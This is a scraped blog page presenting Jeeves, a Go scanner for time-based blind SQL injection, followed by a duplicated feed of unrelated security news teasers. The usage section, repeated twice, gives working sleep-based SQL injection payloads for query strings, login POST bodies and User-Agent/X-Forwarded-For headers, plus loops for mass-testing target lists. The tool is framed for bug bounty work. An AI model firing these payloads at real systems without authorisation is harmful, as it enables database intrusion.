Jeeves is made for looking to Time-Based Blind SQLInjection through recon.
- Installation & Requirements: Installing Jeeves $ go install github.com/ferreiraklet/Jeeves@latest OR $ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
- Usage & Explanation: In Your recon process, you may find endpoints (https://www.kitploit.com/search/label/Endpoints) that can be vulnerable (https://www.kitploit.com/search/label/Vulnerable) to sql injection, Ex: https://redacted.com/index.php?id=1 Single urls echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10 In --payload-time you must use the time mentioned in payload
From list cat targets | jeeves --payload-time 5 Adding Headers Pay attention to the syntax! Must be the same => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value" Using proxy echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
Proxy + Headers (https://www.kitploit.com/search/label/Headers) => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx" Post Request Sending data through post request ( login (https://www.kitploit.com/search/label/Login) forms, etc ) Pay attention to the syntax! Must be equal! -> echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port" Another ways of Usage You are able to use of Jeeves with other tools, such as gau, gauplus, waybackurls, qsreplace and bhedak, mastering his strenght
Command line flags: traffic to a proxy -c Set Concurrency, Default 25 -H, --headers Custom Headers -d, --data Sending Post request with data -h Show This Help Message"> Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
Using with sql payloads wordlist cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done Testing in headers echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5 OBS: Does not follow redirects, If the Status Code is diferent than 200, it returns "Need Manual Analisys" Jeeves does not http probing, he is not able to do requests to urls that does not contain protocol ( http://, https:// )
This project is for educational and bug bounty porposes only! I do not support any illegal activities!. If any error in the program, talk to me immediatly. Please, also check these =>
- Installation & Requirements: Installing Jeeves $ go install github.com/ferreiraklet/Jeeves@latest OR $ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
- Usage & Explanation: In Your recon process, you may find endpoints (https://www.kitploit.com/search/label/Endpoints) that can be vulnerable (https://www.kitploit.com/search/label/Vulnerable) to sql injection, Ex: https://redacted.com/index.php?id=1 Single urls echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10 In --payload-time you must use the time mentioned in payload
From list cat targets | jeeves --payload-time 5 Adding Headers Pay attention to the syntax! Must be the same => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value" Using proxy echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
Proxy + Headers (https://www.kitploit.com/search/label/Headers) => echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx" Post Request Sending data through post request ( login (https://www.kitploit.com/search/label/Login) forms, etc ) Pay attention to the syntax! Must be equal! -> echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port" Another ways of Usage You are able to use of Jeeves with other tools, such as gau, gauplus, waybackurls, qsreplace and bhedak, mastering his strenght
Command line flags: traffic to a proxy -c Set Concurrency, Default 25 -H, --headers Custom Headers -d, --data Sending Post request with data -h Show This Help Message"> Usage:
-t, --payload-time, The time from payload
-p, --proxy Send traffic to a proxy
-c Set Concurrency, Default 25
-H, --headers Custom Headers
-d, --data Sending Post request with data
-h Show This Help Message
Using with sql payloads wordlist cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done Testing in headers echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Payload credit: https://github.com/rohit0x5 OBS: Does not follow redirects, If the Status Code is diferent than 200, it returns "Need Manual Analisys" Jeeves does not http probing, he is not able to do requests to urls that does not contain protocol ( http://, https:// )
This project is for educational and bug bounty porposes only! I do not support any illegal activities!. If any error in the program, talk to me immediatly. Please, also check these =>
Nilo (https://github.com/ferreiraklet/nilo) - Checks if URL has status 200 SQLMAP (https://github.com/sqlmapproject/sqlmap) Blisqy (https://github.com/JohnTroony/Blisqy) Header time based SQLI
Download Jeeves (https://github.com/ferreiraklet/Jeeves)
Download Jeeves (https://github.com/ferreiraklet/Jeeves)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
CrowdStrike Adds Strategic Partners to CrowdXDR Alliance and Expands Falcon XDR Capabilities
New CrowdXDR Alliance partners include Menlo Security, Ping Identity, and Vectra AI.
CrowdStrike Adds Strategic Partners to CrowdXDR Alliance and Expands Falcon XDR Capabilities
New CrowdXDR Alliance partners include Menlo Security, Ping Identity, and Vectra AI.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
CrowdStrike Introduces CrowdStrike Asset Graph to Help Organizations Proactively Identify and Eliminate Blind Spots
CrowdStrike Asset Graph provides unprecedented visibility of assets in an IT environment to optimize cyber defense strategies and manage risk.
CrowdStrike Introduces CrowdStrike Asset Graph to Help Organizations Proactively Identify and Eliminate Blind Spots
CrowdStrike Asset Graph provides unprecedented visibility of assets in an IT environment to optimize cyber defense strategies and manage risk.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
CrowdStrike Introduces Humio for Falcon, Redefining Threat Hunting with Unparalleled Scale and Speed
Humio for Falcon provides long-term, cost-effective data retention with powerful index-free search and analysis of enriched security telemetry across enterprise environments
CrowdStrike Introduces Humio for Falcon, Redefining Threat Hunting with Unparalleled Scale and Speed
Humio for Falcon provides long-term, cost-effective data retention with powerful index-free search and analysis of enriched security telemetry across enterprise environments
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Akıllı Sözleşme Güvenliği: Web3 Geliştirme için Basit Bir Kontrol Listesi
https://cdn-images-1.medium.com/max/1042/1*pVZzZh_MBSiCH9BZk8eOlw.jpeg
Web3 projelerinin başına gelen saldırıların çoğu, akıllı sözleşme güvenliğine daha fazla önem verilerek önlenebilir. Saldırganlar…
Continue reading on Medium »
Akıllı Sözleşme Güvenliği: Web3 Geliştirme için Basit Bir Kontrol Listesi
https://cdn-images-1.medium.com/max/1042/1*pVZzZh_MBSiCH9BZk8eOlw.jpeg
Web3 projelerinin başına gelen saldırıların çoğu, akıllı sözleşme güvenliğine daha fazla önem verilerek önlenebilir. Saldırganlar…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How Mom Got Hacked
https://cdn-images-1.medium.com/max/1722/1*uM_iiAALh4CBC-tnNrK6lw.jpeg
I never realized how easy it was to get a username and password to an email account until my mother was hacked. Listening to her explain…
Continue reading on Medium »
How Mom Got Hacked
https://cdn-images-1.medium.com/max/1722/1*uM_iiAALh4CBC-tnNrK6lw.jpeg
I never realized how easy it was to get a username and password to an email account until my mother was hacked. Listening to her explain…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Hack the Box: Devel — Writeup
https://cdn-images-1.medium.com/max/1213/1*TG1cQqv4o3R4BnIWg8RDSg.png
Devel is an easy-rated retired Hack the Box machine that is vulnerable to MS11–046. This vulnerability is in the Ancillary Function Driver…
Continue reading on Medium »
Hack the Box: Devel — Writeup
https://cdn-images-1.medium.com/max/1213/1*TG1cQqv4o3R4BnIWg8RDSg.png
Devel is an easy-rated retired Hack the Box machine that is vulnerable to MS11–046. This vulnerability is in the Ancillary Function Driver…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
THE GAMING MAN
https://cdn-images-1.medium.com/max/738/1*u_Wufaooc2xOIjhO_lgllQ.jpeg
Weaned on oral learning, I believe that oral knowledge dies with its bearers, and that fresh ideas are suppressed by censors.In my own…
Continue reading on Medium »
THE GAMING MAN
https://cdn-images-1.medium.com/max/738/1*u_Wufaooc2xOIjhO_lgllQ.jpeg
Weaned on oral learning, I believe that oral knowledge dies with its bearers, and that fresh ideas are suppressed by censors.In my own…
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Increase Your Instagram Followers with These 16 Hacks
https://cdn-images-1.medium.com/max/2600/1*lMk4GNYdNjVBXErR5ZaFcg.png
The best way to get Instagram followers for your business is to post quality content that engages your audience. This means posting photos…
Continue reading on Medium »
Increase Your Instagram Followers with These 16 Hacks
https://cdn-images-1.medium.com/max/2600/1*lMk4GNYdNjVBXErR5ZaFcg.png
The best way to get Instagram followers for your business is to post quality content that engages your audience. This means posting photos…
Continue reading on Medium »